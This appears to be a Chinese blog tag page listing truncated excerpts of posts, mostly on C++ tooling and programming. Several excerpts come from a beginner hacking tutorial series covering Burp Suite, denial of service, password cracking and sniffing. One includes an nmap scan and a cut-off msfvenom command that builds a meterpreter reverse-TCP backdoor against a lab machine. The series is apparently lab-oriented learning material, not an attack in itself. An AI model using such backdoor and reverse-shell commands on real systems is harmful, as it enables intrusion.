compiler玩具cpp

黑客玩具入门——9、Burp Suite

Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们快速完成对web应用程序的渗透测试和攻击。Burp Suite是由Java语言编写,因为Java是可以跨平台的,所以Burp Suite也是跨平台的,支持windows、linux、mac。 1、代理和浏览器设置 Burp ......
黑客 玩具 Suite Burp

黑客玩具入门——8、其他攻击手段

1、拒绝服务攻击 使用某些手段故意占用某一系统对外服务的有限资源,从而导致其无法正常工作的行为就是拒绝服务攻击。实际上拒绝服务攻击并不是一个攻击方式,它是一类具有相似特征的攻击方式的集合。拒绝服务攻击有以下分类: 1. 数据链路层的拒绝服务攻击 攻击目标:交换机 集线器:以前的内网都是用集线器,集线 ......
黑客 手段 玩具

黑客玩具入门——7、密码破解

1、字典文件 对密码进行破解的时候,一个字典文件是必不可少的,所谓的字典文件就是由大量词汇构成的文件。在kali Linux系统中字典文件的来源有: 使用字典工具自己生成字典文件 使用kali自带的字典文件,在/usr/share/wordlists目录下 从互联网上下载热门的字典 字典生成工具:C ......
密码破解 黑客 玩具 密码

idea 查看 class文件 出现 /* compiled code */

idea在初始化的时候会默认自带反编译插件,但是在有的同学初始化的时候没有勾选上插件,从而导致不能正常的反编译,class类提示 /* compiled code */。 解决方案: 选择 file -> settings -> plugins,在 installed 的插件中搜索 Java Byt ......
compiled 文件 class idea code

黑客玩具入门——6、网络嗅探

1、网络嗅探:使用TCPDump分析网络数据 TCPDump是一款资深网络工作人员必备的工具。TCPDump是一款小巧的纯命令行工具,正是因为它的体积小巧,所以这款工具可以完美的运行在大多数路由器,防火墙以及Linux系统中。而且TCPDump现在有了Windows版本。 TCPDump的使用: t ......
黑客 玩具 网络

黑客玩具入门——5、继续Metasploit

1、利用FTP漏洞并植入后门 实验靶机:Metasploitable2。 实践: 使用nmap扫描目标靶机 nmap -sV xxx.xxx.xxx.xxx(目标ip) 生成linux系统后门 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=x ......
Metasploit 黑客 玩具

MinGW安装,解决想用g++命令编译.cpp源文件

下载MinGW: 下载地址:MinGW - Minimalist GNU for Windows download | SourceForge.net 安装MinGW: 例如安装在D:\MinGW文件夹下,安装好后选择需要下载的与The GNU C++ Compiler相关的4个安装包 选好安装包后 ......
源文件 命令 MinGW cpp

yaml-cpp

xxx.yaml加载失败不报错 xxx.yaml格式有问题时,报错abort不知道格式不对的具体位置,使用try catch: try { YAML::Node rNode = YAML::LoadFile(“test.yaml”); // using YAML node. } catch(cons ......
yaml-cpp yaml cpp

黑客玩具入门——2、Kali常用命令与简单工具

一、Linux常用命令 首先,我们启动kali系统,然后点击这里的命令行工具。 就可以使用下面学习的命令了,另外,如果你有过计算机基础,那么Mac的terminal和Git的gitbash,都是可以练习大部分的linux命令的。下面我们就学习一些入门的基础命令 sudo,系统管理者的身份执行指令,也 ......
黑客 命令 玩具 常用 工具

黑客玩具入门——1、前言与装机

一切的一切,希望你做一个正直的、心地善良的人。 1、虚拟机安装指南 常用的虚拟机有VMware和virtualbox。咱们使用VMware来安装虚拟机。 然后我们通过百度搜索VMware,找到下载方式下载VMware-workstation-16即可。也可以在我的网盘中找到。 下载完成后,就跟安装一 ......
前言 黑客 玩具

关于C/CPP的快读

#include <cstdio> class BufferIO { public: template<typename T> auto operator>>(T& x); template<typename T> inline void unsigned_read(T& x); template< ......
CPP

go: -race requires cgo cgo: C compiler "gcc"

go run -race main.go --action pubgo: -race requires cgo; enable cgo by setting CGO_ENABLED=1 cgo: C compiler "gcc" not found: exec: "gcc": executable ......
quot cgo compiler requires race

GPU部署llama-cpp-python(llama.cpp通用)

title: GPU部署llama-cpp-python(llama.cpp通用) banner_img: https://cdn.studyinglover.com/pic/2023/08/a5e39db5abf0853e6c456728df8bd971.jpg date: 2023-8-6 23 ......
llama llama-cpp-python cpp python GPU

cpp中加锁问题

std::mutex mutex 类是一个同步原语,可用于保护共享数据不被多个线程同时访问。互斥体提供独占的、非递归的所有权语义:调用线程从成功调用lock或try_lock直到调用unlock为止都拥有互斥体。当一个线程拥有互斥锁时,如果所有其他线程尝试声明该互斥锁的所有权,则所有其他线程都将阻塞 ......
问题 cpp

Cpp 值的种类划分

本博文会介绍移动语义的形式术语和规则。并且会正式的介绍值的类别,如 lvalue、rvalue、prvalue和 xvalue,并讨论了在绑定对象引用时的作用。也会讨论移动语义不会自动传递的细节,以及decltype 在表达式调用时的微妙行为。 作为《Cpp Move Semantics》书中最复杂 ......
种类 Cpp

CPP-移动语义

“Move semantics allows us to optimize the copying of objects, where we no longer need the value. It can be used implicitly (for unnamed temporary obje ......
语义 CPP

【教程】cpp转python Nanobind 实践 加速轻量版 pythonbind11

主要是尝试一下把c++这边的函数封装打包给python用,选择nanobind的原因是:1. 优化速度快,2. 生成二进制包小,不过pythonbind11是更为广泛知道的,nanobind也是pythonbind11作者后续做的,可以查看作者写的 why another binding libar ......
轻量 pythonbind Nanobind 教程 python

Init ubuntu for cpp dev

sudo apt update;sudo apt upgrade -y; wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb; sudo dpkg -i google-chrome-stable ......
ubuntu Init for cpp dev

EF Core预编译模型Compiled Model

前言 最近还在和 npgsql 与 EF Core 斗争,由于 EF Core 暂时还不支持 AOT,因此在 AOT 应用程序中使用 EF Core 时,会提示问题: 听这个意思,似乎使用 Compiled Model 可以解决问题,于是就又研究了一下 EF Core 的这个功能。 在 EF Cor ......
Compiled 模型 Model Core EF

安装llama.cpp遇到的问题

llama.cpp 在ubuntu环境下编译: 1. 下载好模型文件,如 llama-2-7b-chat-hf; Mistral-7B-Instruct-v0.1/ggml-model-f16-q8_0.gguf2. 建立conda环境 conda create -n llamacpp python ......
问题 llama cpp

使用openjdk17编译时报错:Fatal error compiling: 错误: 不支持发行版本 1.17

1.在linux环境下(docker镜像里面)使用如下命令编译打包时报错 mvn clean package -Dmaven.test.skip=true [INFO] Scanning for projects... [INFO] [INFO] < xxx.xxx:pero-xdd > [INFO ......
compiling 时报 错误 openjdk 版本

无GPU环境中运行出错解决方法:AssertionError: Torch not compiled with CUDA enabled

在執行pytorch代碼的時候,突然看到報錯 AssertionError: Torch not compiled with CUDA enabled 這說明了 1. 你pytoch确实安装了 2. 你安装的是cpu版本 作为验证,你可以在python编辑器输入下列代码 如果要在无GPU环境中运行, ......

CPP和C运算符优先级结合性表

运算符优先级决定了运算符用于值的顺序。C+运算符分为18个优先级组,如表所示。第1组中的运算符的优先级最高,第2组中运算符的优先级次之,依此类推。 一个表达式中,优先级高的运算符先于优先级低的运算符进行运算。优先级相同的运算符按照结合性方向进行运算。 下面是《C++ Primer plus》中的C+ ......
运算符 优先级 CPP

Protobuf - Protocol Buffer Compiler Installation

$ apt install -y protobuf-compiler To generate source code from .proto files, first install protoc, the protocol buffer compiler (https://grpc.io/docs ......

关于.UnsupportedClassVersionError: org/example/Merge has been compiled by a more recent version of the Java Runtime (class file version 61.0), this version of 问题的彻底解决

问题描述 之前我是改变了本机上面的JDK的版本17为8; 然后这次我再次尝试MapReduce运行就报错了; 尝试更改IDEA中的环境JDK为8,还是一直显示这个错误~~~ 问题解决 根本问题在pom.xml文件这里,里面有定义我们使用的JDK的版本, 只要将其中的17改为8,然后再运行,就没有问题 ......

CPP 智能指针

目录内存管理new and delete不要使用malloc 和freenew失败了怎么办区别动态数组和动态分配数组对象数组永远对应关系多维数组new 申请多维数组数组即指针并不是所有的指针都是数组指针操作资源回收智能指针使用智能指针的必要之处。unique_ptr接触unique_ptr的拥有权s ......
指针 智能 CPP

re2-cpp-is-awesome

没做出来,看题解得 攻防世界逆向高手题之re2-cpp-is-awesome_align 20h-CSDN博客 注意 汇编知识 align 8,align num是让后面的字节都对齐num,也就是这里都对齐8才对,中间补7个0。可是这里下一个数和上一个数明明间隔4而已!后来查了很多资料才发现是IDA ......
re2-cpp-is-awesome awesome cpp re2 re

C++ insert into tables of pgsql via libpq-fe.h and compile by g++-13

1.Install libpq-dev sudo apt install libpq-dev locate libpq-fe.h /usr/include/postgresql/libpq-fe.h 2.create table t1 create table t1(id bigserial not ......
libpq-fe compile insert tables libpq

python Compile failed: command '/usr/bin/clang' failed with exit code 1 解决办法

一、升级pip pip3 install --upgrade pip 然后,更新设置工具: python3 -m pip install --upgrade setuptools ......
failed Compile command 办法 python

simple cpp file logger

this is a simple cpp file logger implementation, which is copied from making log file - C++ Forum https://cplusplus.com/forum/beginner/168442/ /////// ......
simple logger file cpp